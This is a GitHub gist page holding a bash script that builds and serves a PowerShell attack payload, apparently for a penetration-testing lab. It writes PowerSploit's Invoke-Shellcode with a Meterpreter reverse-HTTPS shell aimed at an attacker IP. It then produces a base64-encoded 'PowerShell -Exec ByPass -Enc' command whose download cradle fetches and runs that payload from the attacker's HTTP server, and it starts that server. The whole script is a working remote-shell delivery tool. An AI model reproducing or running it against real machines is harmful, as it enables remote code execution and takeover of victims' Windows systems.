Last active
November 13, 2019 16:38
-
-
Save tbhaxor/cb9385f3e33cf0fa97bba5003dfa942a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# meterpreter ip & port | |
lhost=10.10.14.70 | |
lport=443 | |
echo " * Writing Payload" | |
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload | |
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload | |
echo " * Prepping Command" | |
scriptblock="iex (New-Object Net.WebClient).DownloadString(‘http://$lhost:8000/payload')" | |
echo $scriptblock | |
echo | |
echo " * Encoding command" | |
encode="`echo $scriptblock | iconv — to-code UTF-16LE | base64 -w 0`" | |
echo $encode | |
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode" | |
echo | |
echo " * Final command" | |
echo $command | |
echo | |
echo " * Starting HTTP Server to serve payload" | |
python -m SimpleHTTPServer 8000 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment